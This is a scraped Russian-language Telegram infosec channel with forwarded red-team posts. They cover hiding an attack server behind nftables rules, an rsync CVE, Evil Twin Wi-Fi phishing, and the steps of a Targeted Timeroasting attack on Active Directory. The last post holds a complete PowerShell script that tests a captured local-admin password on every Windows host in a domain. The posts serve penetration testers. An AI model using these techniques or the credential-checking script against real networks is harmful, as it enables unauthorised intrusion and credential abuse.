Fsecurity | HH
2.01K subscribers
1.77K photos
108 videos
64 files
6.43K links
Канал про ИБ
Наш Discord: https://discord.gg/Eg8aDS7Hn7
Пожертвовать:
> https://www.donationalerts.com/r/xackapb
Download Telegram
Forwarded from REDtalk (Alexey)
This media is not supported in your browser
VIEW IN TELEGRAM
👨‍💻 Привет!

Всё в порядке, мы живы. Начинаем вкатываться в новый год.

Допустим у нас есть внешний сервер для проведения пентестов, редтимов и всего этого, и мы хотим его спрятать от посторонних глаз ботов и сок-аналитиков. Звучит просто, но что, если на сервере висит открытый порт? Как с ним быть?

1️⃣ Начну с пинга. По умолчанию популярные linux-дистрибутивы имеют службу, отвечающую за обработку ICMP-пакетов.
Убрать это просто. Достаточно добавить правило блокировки пакетов в межсетевой экран

nft add rule inet filter input icmp type echo-request drop  


2️⃣ Порты. Нужно постоянно держать в голове, что 24/7 по нашему серверу бегают боты и сканеры.

Для начала на всякий случай стоит добавить правила на дроп всех соединений. VPS-провайдеры любят вместе с дистрибутивом ставить какой-нибудь агент заббикса. В этом случае лучше написать правила на блокировку всего трафика и потом по мере необходимости добавлять белые списки:

# Очистка текущих правил 
sudo nft flush ruleset

# Создание таблицы и цепочек
nft add table inet filter
nft add chain inet filter input { type filter hook input priority 0; policy drop; }
nft add chain inet filter output { type filter hook output priority 0; policy drop; }
nft add chain inet filter forward { type filter hook forward priority 0; policy drop; }

# Исключение для lo
nft add rule inet filter input iif lo accept
nft add rule inet filter output oif lo accept

# Разрешение трафика для 22/tcp порта
nft add rule inet filter input ct state established,related accept
nft add rule inet filter output ct state established,related accept
nft add rule inet filter input tcp dport 22 ct state new accept
nft add rule inet filter output tcp sport 22 accept
nft list ruleset > /etc/nftables.conf



Для скрытия открытого порта достаточно переместить его на нестандартный (например, tcp/64022 вместо tcp/22). Это можно сделать, не изменяя конфигурацию сервиса, на котором открыт сокет:

nft add chain ip nat prerouting { type nat hook prerouting priority 0; } nft add chain ip nat postrouting { type nat hook postrouting priority 100; } 
nft add rule ip nat prerouting tcp dport 64022 dnat to :22


Или, если не хочется возится с правилами, можно использовать socat:

socat TCP-LISTEN:64022,fork TCP:localhost:22 


Но можно сделать еще лучше — фильтровать соединения от всех IP-адресов, которые не выполнили заданные условия. Я сделал для этого небольшой 🔗 PoC (гифка оттуда), использующий nftables для фильтрации и временной разблокировки конкретного адреса ко всем портам, если с него поступил HTTP-запрос. Есть также 🔗 похожее популярное решение . Таким образом боты и аналитики soc не смогут увидеть открытый порт, так как не придет TCP SYN+ACK пакет.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2
Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Forwarded from PWN AI (Artyom Semenov)
Закинул на ОРДУ материал по безопасности агентов. Хотя там не только речь про сами угрозы, но и про кейсы применения агентов в ИБ.

https://cyberorda.com/llm_agent_security/

Жду ваших репостов ! Предложения по наполнению можно написать в ISSUE.

А ещё вы можете посмотреть на орде про MlSecOps и стандарты по AppSec.
Forwarded from #memekatz
This media is not supported in your browser
VIEW IN TELEGRAM
Когда читаешь свой старый отчет по пентесту
🤣4
Forwarded from Proxy Bar
CVE-2024-12084 Rsync
Переполнение буфера кучи: возникает из-за неправильной обработки длины контрольных сумм в демоне Rsync, что приводит к записи за пределами буфера. Затрагивает версии от 3.2.7 до < 3.4.0 и может привести к RCE.
*
POC
Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Forwarded from AppSec Journey
Zero Trust Testing.pdf
44.5 KB
Кстати, вполне интересная схема про применение принципов нулевого доверия в рамках тестирования. Интересная она тем, что она практически базируется на принципах Secure by Design, что в целом забавно)) вообще, делать все как надо сразу - может и есть рецепт успеха?
Forwarded from GISCYBERTEAM
Добрый день, уважаемые подписчики!

В сегодняшней статье мы с Вами рассмотрим атаку на беспроводные сети Wi-Fi типа Evil Twin, осуществляемую через поддельный портал авторизации с целью похищения данных.

Актуальность данного материала обусловлена недостаточным качеством документации по инструментам, таким как eaphammer, которые позволяют проводить подобные атаки.

https://teletype.in/@giscyberteam/captive_portal

#WiFi #SocialEngineering
Forwarded from RedTeam brazzers (Pavel Shlundin)
Сегодня я увидел в нескольких каналах информацию про атаку Targeted Timeroasting и очень вдохновился ею.
В двух словах, что такое атака Timeroasting - Это атака, позволяющая получить хеш пароля машинной учетной записи. В целом, мы знаем, что это для нас бесполезно, т.к. пароль машины чаще всего очень длинный и сложный. Но есть сценарии, когда пароль все таки бывает простой и, в совокупности с атакой pre2k, можно построить интересный вектор. Об этом в своем блоге недавно писал @snovvcrash.

Суть атаки Targeted Timeroasting немного в другом: если у нас есть права GenericWrite на объект пользователя, то мы можем превратить этого пользователя в компьютер (что?) и запросить хеш для него. Превратить пользователя в компьютер можно двумя простыми шагами:
1. Меняем userAccountControl на 4096 (UF_WORKSTATION_TRUST_ACCOUNT)
2. Переименовываем sAMAccountName в тоже имя, но со знаком $ на конце
После этих действий сервис времени будет уверен, что это теперь компьютер и отдаст вам хеш.
Хорошо, как можно это использовать?

1 Сценарий.
У нас есть права Domain Admins и не хочется шуметь с помощью атаки DcSync, тогда можно запустить Targeted Timeroasting на всех пользователей и вы получите хеши учеток, которые потом надо будет еще сбрутать.

2 Сценарий.
Захватили учетку HelpDesk. Чаще всего у этой учетки есть права GenericWrite на половину домена. CA в домене нет, значит не провести атаку Shadow Creds. Проведя атаки Targeted Kerberoasting или Targeted AsReproasting мы получим билеты, которые нет возможности побрутить по большим словарям. А с помощью атаки Targeted Timeroasting мы, во-первых, не сильно нашумим на SIEM (не факт, конечно), а во-вторых, получим хеши, которые можно перебирать с чудовещной скоростью.
Остальные сценарии придумайте сами :)

Свежий ресерч про эту атаку вы можете прочитать в блоге. Брутить хеши на hashcat можно так:
git clone https://github.com/hashcat/hashcat && cd hashcat
git checkout 5236f3bd7 && make
./hashcat -m31300

Для атаки Targeted Timeroasting был разработан PowerShell скрипт. Но сегодня я переписал атаку на Python и выложил у себя в репозитории: https://github.com/PShlyundin/TimeSync
Назвал инструмент TimeSync, потому что мне эта атака очень напомнила классический DcSync.
Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Forwarded from CyberSecrets
Проверка локальных учетных записей
Представим себе ситуацию, когда во время выполнения проекта мы обнаружили пароль от локального администратора, например, в групповых политиках, или от другой локальной учетной записи. Нам необходимо проверить на каких хостах эта учетная запись есть и валидна. Если под рукой есть «nxc», то проблем нет, а если нет? Можно воспользоваться PowerShell и написать небольшой скрипт для проверки локальной учетной записи.

Скрипт будет запрашивать в домене все активные хосты с операционной системой Windows и выполнять проверку локальной учетной записи. Метод, используемый в данном скрипте для новых версий Windows, основан на обработке ошибки, это связанно с механизмами безопасности внедренных в операционную систему. Ошибки, возникающие при правильном и неправильном пароле, разные. И на основании этого мы можем делать предположение когда пароль является верным. а когда нет.

function Check-LocalCredential{
[CmdletBinding()]
Param (
[Parameter(Mandatory)]
[string]
$UserName,

[Parameter(Mandatory)]
[string]
$Password
)

# Подключаем библиотеку для работы с учетными записями
Add-Type -AssemblyName System.DirectoryServices.AccountManagement -ErrorAction Stop

# В качестве контекста используем машину
$ContextType = [DirectoryServices.AccountManagement.ContextType]::Machine

$searcher = [adsisearcher]'(&(objectCategory=computer)(operatingsystem=*windows*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
$searcher.PageSize = 1000
$comps=$searcher.FindAll()

foreach($comp in $comps)
{
$ComputerName = $comp.Properties.dnshostname.Item(0)

try
{
$PrincipalContext = [System.DirectoryServices.AccountManagement.PrincipalContext]::new($ContextType, $ComputerName)
# Проверям учетные данные
if($PrincipalContext.ValidateCredentials($UserName,$Password))
{
Write-Host -ForegroundColor Green "[+] User $UserName has password $Password on computer $ComputerName"
}
}
catch [UnauthorizedAccessException]
{
Write-Host -ForegroundColor Yellow "[*] User $UserName has password $Password on computer $ComputerName"
continue
}
catch
{
#Write-host -ForegroundColor Red "[!] Error $_.Exception.Message "
continue
}
}
}


Запускаем

Check-LocalCredential -Username Administrator -Password Qwerty123 


Зеленый цвет вывода так же покажет, что учетная запись, от имени которой запускается скрипт, является локальным администратором на проверяемом хосте, желтый - пароль для локальной учетной записи верный.

Стоит помнить, что скрипт проверяет валидность учетных данных, но не показывает членство в группе локальных администраторов.


#Powershell #Внутрянка
🔥2